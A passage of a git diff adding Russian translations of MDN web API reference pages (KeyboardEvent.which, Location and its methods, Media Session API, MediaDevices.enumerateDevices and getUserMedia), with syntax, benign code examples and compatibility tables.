От "0" до "9"Фактические цифровые клавиши на цифровой панели.VK_NUMPAD0 (0x60) - VK_NUMPAD9 (0x69)kVK_Keypad0 (0x52) - kVK_Keypad9 (0x5C)GDK_KEY_KP_0 (0xFFB0) - GDK_KEY_KP_9 (0xFFB9)KEYCODE_NUMPAD_0 (144) - KEYCODE_NUMPAD_9 (153)
+ +

[1] В то время как старые браузеры использовали такие слова, как «Добавить», «Десятичное число», «Умножить» и т. д., современные браузеры идентифицируют их по фактическому символу («+», «.», «*» и т. д.).

diff --git a/files/ru/web/api/keyboardevent/which/index.html b/files/ru/web/api/keyboardevent/which/index.html new file mode 100644 index 0000000000..d06f71133f --- /dev/null +++ b/files/ru/web/api/keyboardevent/which/index.html @@ -0,0 +1,97 @@ +--- +title: KeyboardEvent.which +slug: Web/API/KeyboardEvent/which +tags: + - API + - DOM + - Deprecated + - Property + - Reference +translation_of: Web/API/KeyboardEvent/which +--- +
{{APIRef ("События DOM")}} {{Deprecated_header}}
+Свойство which только для чтения интерфейса {{domxref ("KeyboardEvent")}} возвращает числовой код клавиши нажатой клавиши или код символа (charCode) для нажатой буквенно-цифровой клавиши.
+ + + +

Синтаксис

+ +
var keyResult = event.which;
+
+ +

Параметры

+ + + +

Примеры

+ +
<html>
+<head>
+<title>charCode/keyCode/which example</title>
+
+<script type="text/javascript">
+
+function showKeyPress(evt) {
+alert("onkeypress handler: \n"
+      + "keyCode property: " + evt.keyCode + "\n"
+      + "which property: " + evt.which + "\n"
+      + "charCode property: " + evt.charCode + "\n"
+      + "Character Key Pressed: "
+      + String.fromCharCode(evt.charCode) + "\n"
+     );
+}
+
+
+function keyDown(evt) {
+alert("onkeydown handler: \n"
+      + "keyCode property: " + evt.keyCode + "\n"
+      + "which property: " + evt.which + "\n"
+     );
+}
+
+</script>
+</head>
+
+<body
+ onkeypress="showKeyPress(event);"
+ onkeydown="keyDown(event);"
+>
+
+<p>Please press any key.</p>
+
+</body>
+</html>
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецифиыкацияСтатусКомментарий
{{SpecName('DOM3 Events','#legacy-interface-KeyboardEvent','KeyboardEvent.which')}}{{Spec2('DOM3 Events')}}Initial definition; specified as deprecated
+ +

Browser compatibility

+ + + +

{{Compat("api.KeyboardEvent.which")}}

+ +

See also

+ + diff --git a/files/ru/web/api/localmediastream/index.html b/files/ru/web/api/localmediastream/index.html new file mode 100644 index 0000000000..b5ca550abb --- /dev/null +++ b/files/ru/web/api/localmediastream/index.html @@ -0,0 +1,22 @@ +--- +title: LocalMediaStream +slug: Web/API/LocalMediaStream +translation_of: Web/API/LocalMediaStream +--- +
{{APIRef("WebRTC")}} {{SeeCompatTable}}
+ +

Интерфейс LocalMediaStream представляет собой поток медиа-контента извлёчённый из локального источника данных. Этот интерфейс возвращается из getUserMedia().

+ +

Methods

+ +
+
{{domxref("LocalMediaStream.stop()")}}
+
Останавливает поток. Когда источником потока является подключённое устройство (например, камера или микрофон), останавливает захват на устройстве. 
+
+ +

See Also

+ + diff --git a/files/ru/web/api/location/assign/index.html b/files/ru/web/api/location/assign/index.html new file mode 100644 index 0000000000..38cf76051a --- /dev/null +++ b/files/ru/web/api/location/assign/index.html @@ -0,0 +1,68 @@ +--- +title: Location.assign() +slug: Web/API/Location/assign +tags: + - API + - HTML-DOM + - Location + - Method + - Reference +translation_of: Web/API/Location/assign +--- +

{{ APIRef("HTML DOM") }}

+ +

Метод Location.assign() запускает загрузку и отображение нового документа по указанному URL.

+ +

Если новый URL не удовлетворяет требованиям безопасности, выбрасывается {{domxref("DOMException")}} с типом SECURITY_ERROR. Это случается, если домен скрипта, вызвающего метод, не совпадает с доменом страницы, изначально содержащимся в {{domxref("Location")}}.

+ +

Если новый URL некорректен, выбрасывается {{domxref("DOMException")}} с типом SYNTAX_ERROR.

+ +

Синтаксис

+ +
object.assign(url);
+
+ +

Параметры

+ +
+
url
+
{{domxref("DOMString")}}, содержащий URL страницы, на которую нужно перейти.
+
+ +

Примеры

+ +
// Перейти на статью Location.reload
+document.location.assign('https://developer.mozilla.org/ru/docs/Web/API/Location.reload');
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "history.html#dom-location-assign", "Location.assign()")}}{{Spec2('HTML WHATWG')}}Без изменений относительно {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "browsers.html#dom-location-assign", "Location.assign()")}}{{Spec2('HTML5 W3C')}}Изначальное определение.
+ +

Совместимость с браузерами

+ +

{{Compat("api.Location.assign")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/location/index.html b/files/ru/web/api/location/index.html new file mode 100644 index 0000000000..470064d4b9 --- /dev/null +++ b/files/ru/web/api/location/index.html @@ -0,0 +1,205 @@ +--- +title: Location +slug: Web/API/Location +tags: + - API + - HTML DOM + - Interface + - Location + - Refernce +translation_of: Web/API/Location +--- +

{{APIRef("HTML DOM")}}

+ +

Интерфейс Location представляет собой адрес (URL) объекта, с которым он связан. Его модификации отражаются на родительском объекте. Интерфейсы {{domxref("Document")}} и {{domxref("Window")}} имеют подобный Location, к которому можно получить доступ через {{domxref("Document.location")}} и {{domxref("Window.location")}} соответственно.

+ +

Свойства

+ +

Интерфейс Location не имеет унаследованных свойств, но реализует свойства {{domxref("URLUtils")}}.

+ +
+
{{domxref("Location.href")}}
+
{{domxref("DOMString")}}, содержащий URL целиком. При изменении, соответствующий документ переходит на новую страницу.
+
{{domxref("Location.protocol")}}
+
{{domxref("DOMString")}}, содержащий протокол текущего URL, включая ':'.
+
{{domxref("Location.host")}}
+
{{domxref("DOMString")}}, содержащий хост, а именно имя хоста, ':' и порт.
+
{{domxref("Location.hostname")}}
+
{{domxref("DOMString")}}, содержащий домен текущего URL.
+
{{domxref("Location.port")}}
+
{{domxref("DOMString")}}, содержащий номер порта текущего URL.
+
{{domxref("Location.pathname")}}
+
{{domxref("DOMString")}}, содержащий первый '/' после хоста с последующим текстом URL.
+
{{domxref("Location.search")}}
+
{{domxref("DOMString")}}, содержащий '?' с последующими параметрами URL.
+ +
{{domxref("Location.hash")}}
+
{{domxref("DOMString")}}, содержащий '#' с последующим идентификатором.
+
{{domxref("Location.username")}}
+
{{domxref("DOMString")}}, содержащий имя пользователя, указанное перед именем домена.
+
{{domxref("Location.password")}}
+
{{domxref("DOMString")}}, содержащий пароль, указанный перед именем домена.
+
{{domxref("Location.origin")}} {{readOnlyInline}}
+
Возвращает {{domxref("DOMString")}}, содержащий протокол, хост и порт текущего URL.
+
+ +

Методы

+ +

Интерфейс Location не имеет унаследованных методов, но реализует методы {{domxref("URLUtils")}}.

+ +
+
{{domxref("Location.assign()")}}
+
Загружает ресурс по URL, указанному в качестве параметра.
+
{{domxref("Location.reload()")}}
+
Перезагружает ресурс по текущему URL. Единственный опциональный параметр {{domxref("Boolean")}} при значении true указывает, что страница должна быть заново загружена с сервера, при значении false страница может быть загружена из кэша.
+
{{domxref("Location.replace()")}}
+
Заменяет текущий ресурс на новый по URL, указанному в качестве параметра. Отличие от assign() в том, что при использовании replace() текущая страница не будет сохранена в {{domxref("History")}}, и пользователь не сможет использовать кнопку назад, чтобы вернуться к ней.
+
{{domxref("Location.toString()")}}
+
Возвращает {{domxref("DOMString")}}, содержащий URL целиком. Это синоним {{domxref("URLUtils.href")}}, однако он не может использоваться для изменения значения.
+
+ +

Примеры

+ +
// Этот пример создает ссылку и использует ее свойство href
+// Корректная альтернатива - использовать document.location или window.location текущего URL
+var url = document.createElement('a');
+url.href = 'https://developer.mozilla.org/en-US/search?q=URL#search-results-close-container';
+console.log(url.href);      // https://developer.mozilla.org/en-US/search?q=URL#search-results-close-container
+console.log(url.protocol);  // https:
+console.log(url.host);      // developer.mozilla.org
+console.log(url.hostname);  // developer.mozilla.org
+console.log(url.port);      // (пустой - https подразумевает порт 443)
+console.log(url.pathname);  // /en-US/search
+console.log(url.search);    // ?q=URL
+console.log(url.hash);      // #search-results-close-container
+console.log(url.origin);    // https://developer.mozilla.org
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "history.html#the-location-interface", "Location")}}{{Spec2('HTML WHATWG')}}Без изменений относительно {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Location")}}{{Spec2('HTML5 W3C')}}Изначальное определение.
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
origin в Windows.location{{CompatUnknown}}{{CompatGeckoDesktop("21")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
origin во всех объектах location (кроме Workers, где используется {{domxref("WorkerLocation")}}){{CompatUnknown}}{{CompatGeckoDesktop("26")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
username и password{{CompatUnknown}}{{CompatGeckoDesktop("26")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
origin в Windows.location{{CompatUnknown}}{{CompatGeckoMobile("21")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
origin во всех объектах location (кроме Workers, где используется {{domxref("WorkerLocation")}}){{CompatUnknown}}{{CompatGeckoMobile("26")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
username и password{{CompatUnknown}}{{CompatGeckoMobile("26")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/location/reload/index.html b/files/ru/web/api/location/reload/index.html new file mode 100644 index 0000000000..fb00e74ea7 --- /dev/null +++ b/files/ru/web/api/location/reload/index.html @@ -0,0 +1,73 @@ +--- +title: Location.reload() +slug: Web/API/Location/reload +tags: + - API + - HTML-DOM + - Location + - Method + - Reference +translation_of: Web/API/Location/reload +--- +

{{ APIRef("HTML DOM") }}

+ +

Метод Location.reload() перезагружает ресурс из текущего URL подобно кнопке обновления браузера.

+ +

Если условия вызова метода не удовлетворяют требованиям безопасности, выбрасывается {{domxref("DOMException")}} с типом SECURITY_ERROR. Это случается, если домен скрипта, вызывающего метод, не совпадает с доменом страницы, изначально содержащимся в {{domxref("Location")}}.

+ +

Синтаксис

+ +
location.reload();
+
+ +

Примеры

+ +
// Перезагрузить текущую страницу
+document.location.reload();
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "history.html#dom-location-reload", "Location.reload()")}}{{Spec2('HTML WHATWG')}}Без изменений относительно {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "browsers.html#dom-location-reload", "Location.reload()")}}{{Spec2('HTML5 W3C')}}Изначальное определение.
+ +

Совместимость с браузерами

+ +

{{Compat("api.Location.reload")}}

+ +

Смотрите также

+ + + +
+
+
+
+ +
+ +
+
+ +
+
+
diff --git a/files/ru/web/api/location/replace/index.html b/files/ru/web/api/location/replace/index.html new file mode 100644 index 0000000000..6019d603dc --- /dev/null +++ b/files/ru/web/api/location/replace/index.html @@ -0,0 +1,68 @@ +--- +title: Location.replace() +slug: Web/API/Location/replace +tags: + - API + - HTML-DOM + - Location + - Method + - Reference +translation_of: Web/API/Location/replace +--- +

{{ APIRef("HTML DOM") }}

+ +

Метод Location.replace() заменяет текущий ресурс на новый по URL, указанному в качестве параметра. Отличие от {{domxref("Location.assign","assign()")}} в том, что при использовании replace() текущая страница не будет сохранена в {{domxref("History")}}, и пользователь не сможет использовать кнопку назад, чтобы вернуться к ней.

+ +

Если условия вызова метода не удовлетворяют требованиям безопасности, выбрасывается {{domxref("DOMException")}} с типом SECURITY_ERROR. Это случается, если домен скрипта, вызывающего метод, не совпадает с доменом страницы, изначально содержащимся в {{domxref("Location")}}.

+ +

Если новый URL некорректен, выбрасывается {{domxref("DOMException")}} с типом SYNTAX_ERROR.

+ +

Синтаксис

+ +
object.replace(url);
+
+ +

Параметры

+ +
+
url
+
{{domxref("DOMString")}} , содержащий URL страницы, на которую нужно перейти.
+
+ +

Примеры

+ +
// Перейти на статью Location.reload, заменив текущую страницу
+document.location.replace('https://developer.mozilla.org/en-US/docs/Web/API/Location.reload');
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "history.html#dom-location-replace", "Location.replace()")}}{{Spec2('HTML WHATWG')}}Без изменений относительно {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "browsers.html#dom-location-replace", "Location.replace()")}}{{Spec2('HTML5 W3C')}}Изначальное определение.
+ +

Совместимость с браузерами

+ +
{{Compat("api.Location.replace")}}
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/media_session_api/index.html b/files/ru/web/api/media_session_api/index.html new file mode 100644 index 0000000000..aeaf490463 --- /dev/null +++ b/files/ru/web/api/media_session_api/index.html @@ -0,0 +1,110 @@ +--- +title: Media Session API +slug: Web/API/Media_Session_API +tags: + - Media Session API + - MediaMetadata + - MediaSession + - Видео + - Медиа + - аудио +translation_of: Web/API/Media_Session_API +--- +

{{DefaultAPISidebar("Media Session API")}}

+ +

API Media Session даёт разработчику возможность настроить уведомление о медиа. С помощью него можно предоставить метаданные о проигрываемых приложением медиа, а также позволяет приложению реагировать на команды управления воспроизведением. Смысл данного интерфейса в том, чтобы пользователь мог просматривать и управлять медиаконтентом, не переходя на страницу, где происходит воспроизведение.

+ +

Принципы и использование Media Session

+ +

Интерфейс {{domxref("MediaMetadata")}} позволяет приложению передавать метаданные о воспроизводимом контенте браузеру и ОС. Примеры таких метаданных: название, исполнитель, альбом и обложка. Данная информация может отображаться в медиацентре, блоке уведомлений или на экране блокировки.

+ +

Интерфейс {{domxref("MediaSession")}} позволяет пользователям контролировать воспроизведение с помощью элементов управления браузера. Взаимодействие с этими элементами также вызывает события в приложении. Так как этот API может использоваться сразу несколькими страницами, браузер контролирует, какая страница получит события. Браузер предоставляет поведение по умолчанию, если оно не было переопределено страницами.

+ +

Работа с Media Session API

+ +

Главный интерфейс Media Session API -- {{domxref("MediaSession")}}. Не нужно создавать собственный экземпляр MediaSession, доступ к API осуществляется через свойство {{domxref("navigator.mediaSession")}}. Например, следующий код укажет, что страница воспроизводит медиа в данный момент:

+ +
navigator.mediaSession.playbackState = "playing";
+ +

Интерфейсы

+ +
+
{{domxref("MediaMetadata")}}
+
Позволяет веб-странице предоставить метаданные о воспроизведении для показа в интерфейсе платформы.
+
{{domxref("MediaSession")}}
+
Позволяет странице определить собственные обработчики стандартных медиа-событий.
+
+ +

Объекты

+ +
+
{{domxref("MediaImage")}}
+
Объект MediaImage содержит информацию об отображаемой картинке. Чаще всего этим изображением является обложка или постер.
+
{{domxref("MediaPositionState")}}
+
Содержит информацию о длине трека, месте и скорости воспроизведения, передаваемую с помощью метода {{domxref("MediaSession.setPositionState", "setPositionState()")}}.
+
{{domxref("MediaSessionActionDetails")}}
+
Предоставляет информацию, необходимую для выполнения запрошенного действия, например тип действия или позицию перемотки.
+
+ +

Примеры

+ +

Данный пример демонстрирует работу и определение доступности Media Session API. Также, он передает метаданные и определяет собственные обработчики событий:

+ +
if ('mediaSession' in navigator) {
+  navigator.mediaSession.metadata = new MediaMetadata({
+    title: 'Unforgettable',
+    artist: 'Nat King Cole',
+    album: 'The Ultimate Collection (Remastered)',
+    artwork: [
+      { src: 'https://dummyimage.com/96x96',   sizes: '96x96',   type: 'image/png' },
+      { src: 'https://dummyimage.com/128x128', sizes: '128x128', type: 'image/png' },
+      { src: 'https://dummyimage.com/192x192', sizes: '192x192', type: 'image/png' },
+      { src: 'https://dummyimage.com/256x256', sizes: '256x256', type: 'image/png' },
+      { src: 'https://dummyimage.com/384x384', sizes: '384x384', type: 'image/png' },
+      { src: 'https://dummyimage.com/512x512', sizes: '512x512', type: 'image/png' },
+    ]
+  });
+
+  navigator.mediaSession.setActionHandler('play', function() { /* Code excerpted. */ });
+  navigator.mediaSession.setActionHandler('pause', function() { /* Code excerpted. */ });
+  navigator.mediaSession.setActionHandler('seekbackward', function() { /* Code excerpted. */ });
+  navigator.mediaSession.setActionHandler('seekforward', function() { /* Code excerpted. */ });
+  navigator.mediaSession.setActionHandler('previoustrack', function() { /* Code excerpted. */ });
+  navigator.mediaSession.setActionHandler('nexttrack', function() { /* Code excerpted. */ });
+}
+ +

Некоторые браузеры отключают автовоспроизведение медиаэлементов на мобильных устройствах и требуют действий пользователя для начала воспроизведения. Этот пример добавит обработчик события pointerup для кнопки воспроизведения на странице, который начнет работу с медиасессией:

+ +
playButton.addEventListener('pointerup', function(event) {
+  var audio = document.querySelector('audio');
+
+  // Пользователь нажал кнопку, начинаем воспроизведение...
+  audio.play()
+  .then(_ => { /* Настройка элементов управления (показана выше). */ })
+  .catch(error => { console.log(error) });
+});
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Media Session')}}{{Spec2('Media Session')}}Изначальное определение.
+ +

Совместимость

+ + + +

{{Compat("api.MediaSession")}}

diff --git a/files/ru/web/api/mediadevices/enumeratedevices/index.html b/files/ru/web/api/mediadevices/enumeratedevices/index.html new file mode 100644 index 0000000000..8672793a83 --- /dev/null +++ b/files/ru/web/api/mediadevices/enumeratedevices/index.html @@ -0,0 +1,163 @@ +--- +title: MediaDevices.enumerateDevices() +slug: Web/API/MediaDevices/enumerateDevices +translation_of: Web/API/MediaDevices/enumerateDevices +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

Метод MediaDevices.enumerateDevices() собирает информацию о медиа-устройствах ввода и вывода, доступных в системе.

+ +

Синтаксис

+ +
navigator.mediaDevices.enumerateDevices()
+.then(function(MediaDeviceInfo) { ... })
+ +

Возвращаемое значение

+ +

Возвращает {{ domxref("Promise") }} который, если выполнится успешно, вернёт массив экземпляров {{domxref("MediaDeviceInfo")}} , которые содержат информацию о доступных медиа-устройствах ввода и вывода.

+ +

Пример

+ +

Ниже, пример, использующий метод mediaDevices.enumerateDevices().

+ +
if (!navigator.mediaDevices || !navigator.mediaDevices.enumerateDevices) {
+  console.log("enumerateDevices() не поддерживается.");
+  return;
+}
+
+// Перечисление в цикле камер и микрофонов
+
+navigator.mediaDevices.enumerateDevices()
+.then(function(devices) {
+  devices.forEach(function(device) {
+    console.log(device.kind + ": " + device.label +
+                " id = " + device.deviceId);
+  });
+})
+.catch(function(err) {
+  console.log(err.name + ": " + err.message);
+});
+
+ +

результат перичисления в цикле:

+ +
videoinput: id = csO9c0YpAf274OuCPUA53CNE0YHlIr2yXCi+SqfBZZ8=
+audioinput: id = RKxXByjnabbADGQNNZqLVLdmXlS0YkETYCIbg+XxnvM=
+audioinput: id = r2/xw1xUPIyZunfV1lGrKOma5wTOvCkWfZ368XCndm0=
+
+ +

или, если один или более объектов {{domxref("MediaStream")}} активны,  или получены постоянные разрешения:

+ +
videoinput: FaceTime HD Camera (Built-in) id=csO9c0YpAf274OuCPUA53CNE0YHlIr2yXCi+SqfBZZ8=
+audioinput: default (Built-in Microphone) id=RKxXByjnabbADGQNNZqLVLdmXlS0YkETYCIbg+XxnvM=
+audioinput: Built-in Microphone id=r2/xw1xUPIyZunfV1lGrKOma5wTOvCkWfZ368XCndm0=
+
+ +

Разрешения

+ +

Что бы использовать метод  enumerateDevices() в устанавливаемом приложении  (к примеру в  Firefox OS приложение), необходимо указать оба поля внутри файла манифеста приложения:

+ +
"permissions": {
+  "audio-capture": {
+    "description": "Required to capture audio using getUserMedia()"
+  },
+  "video-capture": {
+    "description": "Required to capture video using getUserMedia()"
+  }
+}
+ +

Смотри так же : разрешение: аудио захват and разрешение : видео захват в продолжение темы.

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКоментарий
{{SpecName('Media Capture', '#mediadevices', 'mediaDevices.enumerateDevices')}}{{Spec2('Media Capture')}}Initial definition.
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(45.0)}} [1]{{CompatVersionUnknown}}39{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}3939{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Behind a flag.

+ +

Совместимость с Chrome и Opera

+ + + +

Смотри так же

+ + diff --git a/files/ru/web/api/mediadevices/getusermedia/index.html b/files/ru/web/api/mediadevices/getusermedia/index.html new file mode 100644 index 0000000000..1d9a8fe00e --- /dev/null +++ b/files/ru/web/api/mediadevices/getusermedia/index.html @@ -0,0 +1,351 @@ +--- +title: MediaDevices.getUserMedia() +slug: Web/API/MediaDevices/getUserMedia +translation_of: Web/API/MediaDevices/getUserMedia +--- +
{{APIRef("Media Capture and Streams")}}
+ +

Метод {{domxref("MediaDevices")}}.getUserMedia(), при выполнении, вызывает всплывающий диалог, запрашивающий разрешение пользователя на использование медиа устройства (камера, микрофон). Результат возвращает промис, содержащий поток, который  состоит из треков (дорожек), содержащих требуемые медиа типы. Этот поток может включать, к примеру, видеотрек, созданный либо аппаратным средством, либо виртуальным видеоисточником, такими как камера, устройство видеозаписи, сервис обмена изображениями и т.д);  аудиотрек, созданный физическим или виртуальным аудиоисточником, к примеру, микрофоном, аналого-цифровым преобразователем звуков и возможно иные типы треков.

+ +

Он возвращает {{jsxref("Promise")}} , который, в случае согласия пользователя, разрешается {{domxref("MediaStream")}} объектом. Если пользователь отказывает в разрешении, или медиа устройсто не доступно, тогда промис отменяется с объектами типа NotAllowedError или NotFoundError соответственно.

+ +
+

Примечание : Возможно, что промис ни разрешиться, ни отмениться, в случае, когда пользователь не сделает выбор и запрос проигнорирует.

+
+ +

Обычно, разработчик получает доступ к  единственному экземпляру объекта {{domxref("MediaDevices")}} , используя {{domxref("navigator.mediaDevices.getUserMedia()")}}  метод, возвращающий поток:

+ +
async function getMedia(constraints) {
+  let stream = null;
+
+  try {
+    stream = await navigator.mediaDevices.getUserMedia(constraints);
+    /* используем поток */
+  } catch(err) {
+    /* обработка ошибки */
+  }
+}
+
+ +

Тот же результат, но используя тип промиса :

+ +
navigator.mediaDevices.getUserMedia(constraints)
+.then(function(stream) {
+  /* используем поток */
+})
+.catch(function(err) {
+  /* обработка ошибки */
+});
+ +
+

Примечание : Если документ загружен не безопасно, значение navigator.mediaDevices будет undefined, и нельзя будет использовать метод  getUserMedia(). Смотри  {{anch("Security")}} для дополнительной информации о дальнейших вопросах безопасности, связанной с использованием метода getUserMedia().

+
+ +

Синтаксис

+ +
var promise = navigator.mediaDevices.getUserMedia(constraints);
+
+ +

Параметры

+ +
+
constraints (ограничения)
+
+

Объект  {{domxref("MediaStreamConstraints")}}, определяющий запрашиваемые медиатипы, вместе с требованиями для каждого типа.

+ +

Тип параметра constraints (ограничения) - это объект типа MediaStreamConstraints с двумя членами: video и audio, описывающие запрашиваемые медиатипы. Один или оба должны определяться разработчиком. Если браузер не сможет обнаружить медиатреки определяемого типа, которые соответствуют переданным ограничениям, возвращаемый методом промис отменяется с объектом NotFoundError.

+ +

Следующий отрывок кода запрашивает и audio и video типы  без дополнительных условий:

+ + 
{ audio: true, video: true }
+ +

Если определяется значение true для медиатипа, результирующий поток обязательно будет иметь в себе запрошенный медиатип. Если ни один из типов не включается в запрос, вызов метода  getUserMedia() приведет к ошибке.

+ +

Если полная информация о камерах и микрофонах пользователя недоступна по причинам конфеденциальности, приложение может запросить доступ только к необходимым ему функциям, используя дополнительные условия. Следующий пример запрашивает видеотрек с разрешением камеры 1280x720 пикселей:

+ + 
{
+  audio: true,
+  video: { width: 1280, height: 720 }
+}
+ +

Браузер попытается выполнить условие, но может вернуть видеотрек другого разрешения, если установленные требования невозможно удовлетворить (камера не обладает возможностью такого разрешения), или пользователь переопределяет условие.

+ +

Для минимального, максимального и точного определения значения можно использовать ключевые слова min, max, или exac. Следующий пример запрашивает минимальное разрешение камеры 1280x720:

+ + 
{
+  audio: true,
+  video: {
+    width: { min: 1280 },
+    height: { min: 720 }
+  }
+}
+ +

Если камера не в состоянии обеспечить указанное минимальное разрешение или более высокое, возвращаемый промис будет отменен с объектом OverconstrainedError, и пользователь не увидит диалога запроса разрешения.

+ +

Различие поведения происходит по причине того, что ключевые слова min, max, и exact  являются обязательными к выполнению. В то время как простые значения и ключевое слово  ideal - не обязательные к выполнению. Ниже, полный пример:

+ + 
{
+  audio: true,
+  video: {
+    width: { min: 1024, ideal: 1280, max: 1920 },
+    height: { min: 776, ideal: 720, max: 1080 }
+  }
+}
+ +

Значение свойства ideal  имеет приоритет. Это означает, что браузер будет пытаться обнаружить настройки с наименьшей  fitness distance (удовлетворяющей разницей) от переданных идеальных значений. Т.е. пытается найти самое близкое к переданному значение.

+ +

Простые значения работают как идеальные, поэтому один из первых примеров выше можно переписать, используя свойство  ideal :

+ + 
{
+  audio: true,
+  video: {
+    width: { ideal: 1280 },
+    height: { ideal: 720 }
+  }
+}
+ +

Не все значения ограничений являются числовыми. К примеру, на мобильных устройствах следующий отрывок будет запрашивать переднюю камеру (если присутствует) , поэтому в свойстве facingMode указано строковое значение user:

+ + 
{ audio: true, video: { facingMode: "user" } }
+ +

Запрос обратной (задней) камеры:

+ + 
{ audio: true, video: { facingMode: { exact: "environment" } } }
+ +

Следующее строковое свойство -  deviceId (идентификатор устройства). Его значение может быть получено из  метода {{domxref("mediaDevices.enumerateDevices()")}}, возвращающего список, имеющихся на машине устройств, с их идентификаторами, и может быть использовано для запроса определнного устройства по идентификатору этого устройства:

+ + 
{ video: { deviceId: идентификаторНужнойКамеры } }
+ +

Код выше вернет запрашиваемую камеру или другую камеру, если требуемая камера недоступна. Для получения доступа к потоку только определенной камеры, без альтернативы, используется свойство  exact (точно) :

+ + 
{ video: { deviceId: { exact: идентификаторНужнойКамеры } } }
+
+
+ +

Возвращаемое значение

+ +

Промис {{jsxref("Promise")}}, при удачном запросе требуемого медиа устройства разрешается  объектом типа {{domxref("MediaStream")}} .

+ +

Исключения (Ошибки)

+ +

При неудачном запросе медиа устройства, возвращаемый промис {{jsxref("Promise")}} отменяется объектом типа  ошибки {{domxref("DOMException")}}. Возможными ошибками могут быть типы:

+ +
+
AbortError (Прервано)
+
Хотя пользователь и операционная система предоставили доступ к аппаратному устройству, и не возникло проблем с оборудованием, которые могли бы вызвать NotReadableError, возникла некоторая проблема, которая не позволила использовать устройство.
+
+ +
+
NotAllowedError (Доступ не разрешен)
+
Возникает если, одно или несколько запрашиваемых устройств не можут быть использованы в настоящее время. Это происходит тогда, когда контекст браузера является не безопасным (страница была загружена используя протокол HTTP вместо HTTPS), а также, если пользователь не разрешил доступ текущему экземпляру браузера к устройству, пользователь отказал в доступе в текущей сессии, или пользователь отказал в доступе к медиаустройствам глобально. Для браузеров, которые поддерживают управление медиаразрешениями с помощью  Feature Policy, такая ошибка возвращается если Feature Policy не сконфигурирована для разрешение доступа к медиаустройству или устройствам +
 Более старые версии спецификации использовали вместо этого SecurityError. SecurityError имеет новое значение.
+
+
NotFoundError (Не найдено)
+
Возникает если, типы мидиа треков, удовлетворяющие переданным значениям, не найдены.
+
NotReadableError (Не читается)
+
Хотя пользователь и предоставил разрешение на использование соответствующих устройств, произошла аппаратная ошибка на уровне операционной системы, браузера или веб-страницы, которая препятствовала доступу к устройству..
+
OverconstrainedError (за границами ограничений)
+
Возникает если, в результате указанных ограничений не было найдено устройств, отвечающих запрошенным критериям. Ошибка является объектом типа OverconstrainedError и имеет свойство constraint, строковое значение которого является именем ограничения, которое было невозможно встретить, и свойство message, содержащее читаемую человеком строку, объясняющую проблему. +
Ошибка может возникнуть даже, если пользователь еще не выдал разрешение на использование устройства, использующиеся как поверхность для идентификации отпечатка пальца.
+
+
SecurityError (ошибка безопасности)
+
Возникает если, медиа поддержка отключена в {{domxref("Document")}} на котором был вызван метод  getUserMedia(). Механизм по которому медиа поддержка включается и отключается находиться в компетенции браузера пользователя.
+
TypeError (ошибка типа)
+
Возникает если, список ограничений пустой или все ограничения установлены в  false. Так же это происходит, если пытаться вызвать метод getUserMedia() в небезопасном контексте, поскольку в нем  {{domxref("navigator.mediaDevices")}} равно undefined.
+
+ +

Конфеденциальность и безопасность

+ +

Поскольку  API могут существенно затрагивать  вопросы конфеденциальности, спецификация getUserMedia() предъявляет широкий спекрт требований защиты конфеденциальности и безопасности, которым современные браузеры обязаны следовать.

+ +

getUserMedia() -  это мощная функция, которая может быть использована только в безопасном контексте . В небезопасном контексте, navigator.mediaDevices равно undefined, предотвращая достук к методу getUserMedia(). Безопасный контекст  - это, если кратко, страница, загружаемая по протоколу HTTPS или  file:/// URL схеме, или страница, загружаемая из localhost.

+ +

